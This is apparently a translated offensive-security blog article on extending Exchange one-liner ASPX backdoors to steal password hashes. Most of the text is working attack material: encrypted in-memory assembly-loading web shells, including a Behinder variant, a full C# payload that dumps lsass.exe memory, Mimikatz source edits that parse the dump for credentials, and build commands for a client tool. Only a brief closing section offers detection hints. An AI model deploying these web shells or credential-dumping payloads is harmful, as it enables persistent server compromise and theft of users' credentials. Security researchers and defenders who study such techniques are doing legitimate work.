0x00 Preface

---

In the previous article 'Penetration Basics - Implementation of Exchange One-Liner Backdoor', two types of Exchange one-liner backdoors (in-memory loading of .NET assemblies and file writing) were introduced. This article will extend the functionality of the Exchange one-liner backdoor, using the example of exporting password hashes from the lsass process to introduce the implementation method of in-memory loading of PE files, open-source test code, analyze exploitation ideas, and provide defense recommendations.

0x01 Introduction

---

This article will cover the following:

  • Writing an Exchange one-liner backdoor
  • Exporting the dmp file of the lsass.exe process by in-memory loading of .NET assemblies
  • In-memory loading of Mimikatz by in-memory loading of PE files and parsing dmp files from specified locations
  • Open-source code
  • Defense recommendations

0x02 Writing an Exchange One-Liner Backdoor

---

(1) Basic implementation code

Example code is as follows:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

The code checks whether the POST request contains the parameter demodata. If present, it base64-decodes the content of the demodata parameter from the POST request, loads it into memory, and invokes an instance named Payload.

(2) Implementation code of Behinder

Default startup code is as follows:

<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

Extract the decryption code used as follows:

public static string Decrypt(string str, string key)
{
Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}

Based on the decryption code, derive the corresponding encryption code as follows:

public static string Encrypt(string str, string key)
{
Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
//Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
RijndaelManaged rm = new RijndaelManaged
{
Mode = CipherMode.CBC,
Padding = PaddingMode.PKCS7
};
ICryptoTransform cTransform = rm.CreateEncryptor(toEncryptKey, toEncryptKey);
Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}

Directly using Ice Scorpion under Exchange will cause an error. Error reason:

Session state can only be used when enableSessionState is set to true, either in a configuration file or in the Page directive. Please also make sure that System.Web.SessionStateModule or a custom session state module is included in the \\ section in the application configuration.

Here you need to modify the web.config file corresponding to the Webshell path, find the location:


Remove

Similar cases include Godzilla

(3) Modified implementation code

Under Exchange, using Session to pass data should be avoided. Here we switch to using POST requests to pass data. The final code is as follows:

<%@ Page Language="C#" %>
<%
if (Request.Form["k"]!=null&&Request.Form["data"]!=null)
{
Byte[] k=Convert.FromBase64String(Request.Form["k"]);
Byte[] c=Convert.FromBase64String(Request.Form["data"]);
System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
%>

In the POST request, parameter k serves as the key, and parameter data serves as the encrypted data. After decryption, it is loaded into memory and calls an instance named U.

The next two sections will detail the development of a client to connect to the aforementioned Exchange one-liner backdoor.

0x03 Exporting the dmp file of the lsass.exe process via in-memory loading of .NET assemblies

---

Here, it is necessary to implement the functionality to export the dmp file of the lsass.exe process using C#.

Create a new file named dumplsass.cs with the following code:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
public class U
{
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
public static bool IsHighIntegrity()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static void Minidump()
{
IntPtr targetProcessHandle = IntPtr.Zero;
uint targetProcessId = 0;
Process targetProcess = null;
Process[] processes = Process.GetProcessesByName("lsass");
targetProcess = processes[0];
try
{
targetProcessId = (uint)targetProcess.Id;
targetProcessHandle = targetProcess.Handle;
}
catch (Exception ex)
{
return;
}
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpFile = String.Format("{0}\\Temp\\lsass.bin", systemRoot);
using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
{
MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
}
public override bool Equals(Object obj)
{
Minidump();
return true;
}
}

Compile to generate the DLL file with the following command:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library dumplsass.cs

The generated dumplsass.dll is the payload data that implements exporting the lsass.exe process dump file

After loading, obtain the lsass.exe process dump file, saved at: C:\Windows\Temp\lsass.bin

0x04 Implementing Memory Loading of Mimikatz and Parsing the Dump File at a Specified Location via In-Memory PE Loading

---

This is divided into two stages:

  1. Implement parsing of the dump file at a specified location and extracting hashes via C++, which can be modified based on Mimikatz
  2. Implementing the functionality of loading PE files in memory through C#

1. Parsing a dmp file at a specified location and extracting hashes through C++

Command for mimikatz to parse a dmp file at a specified location:

mimikatz.exe log "sekurlsa::minidump C:\Windows\Temp\lsass.bin" "sekurlsa::logonPasswords full" exit

Modifying the mimikatz source code involves the following two parts:

Manually passing command parameters, adding the following code:

argc = 5;
argv[1] = L"log";
argv[2] = L"sekurlsa::minidump C:\\Windows\\Temp\\lsass.bin";
argv[3] = L"sekurlsa::logonpasswords full";
argv[4] = L"exit";

Specifying the log save path as C:\Windows\Temp\mimikatz.log, modify the following code:

#define MIMIKATZ_DEFAULT_LOG L"C:\\Windows\\Temp\\" MIMIKATZ L".log"

After compilation, generate a new mimikatz.exe

2. Implementing the functionality of loading PE files in memory through C#

Use SharpPELoaderGenerater to read the newly generated mimikatz.exe and produce usable in-memory loading code SharpPELoader_x64.cs

Note:

For implementation details of in-memory loading, refer to 'Implementing In-Memory PE File Loading via .NET'

Modify the format of SharpPELoader_x64.cs to make it loadable by the Exchange one-liner backdoor. The complete code has been uploaded to GitHub at the following address:

An open-source project

Compile to generate the DLL file with the following command:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library SharpPELoader_parselsass.cs

The generated SharpPELoader_parselsass.dll serves as the payload data that implements in-memory loading of Mimikatz to parse the dump file C:\Windows\Temp\lsass.bin and save the exported results as C:\Windows\Temp\mimikatz.log

0x05 Open Source Code

---

The complete client code has been uploaded to GitHub at the following address:

An open-source project

Developed using C#, supporting .NET 3.5 and higher versions

Compile with the following command:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs

The code supports the following three functions:

  • generate, generate an Exchange one-sentence backdoor
  • dumplsass, obtain the lsass process dump file
  • parsedump, parse the dump file and export hashes

When connecting to the Exchange one-sentence backdoor, you can choose whether to use credentials for login; communication data is encrypted using AES

Code details:

In the POST request, parameter k serves as the key, and parameter data serves as the encrypted data

The string base64dumplsass is the Base64-encoded result of dumplsass.dll

The string base64parsedump is the Base64-encoded result of parsedump.dll

0x06 Defense Recommendations

---

For the Exchange one-sentence backdoor, it is necessary not only to determine whether new files have been written but also to check whether normal pages have been injected with malicious content.

In static analysis, you can examine whether aspx files contain sensitive functions related to memory loading:

  • Assembly.Load
  • Assembly.LoadFrom
  • Assembly.LoadFile

0x07 Summary

---

This article expands on the functionality of the Exchange one-liner backdoor. Taking the export of password hashes from the lsass process as an example, it introduces the implementation method of loading PE files in memory, provides open-source test code, analyzes exploitation ideas, and offers defense recommendations.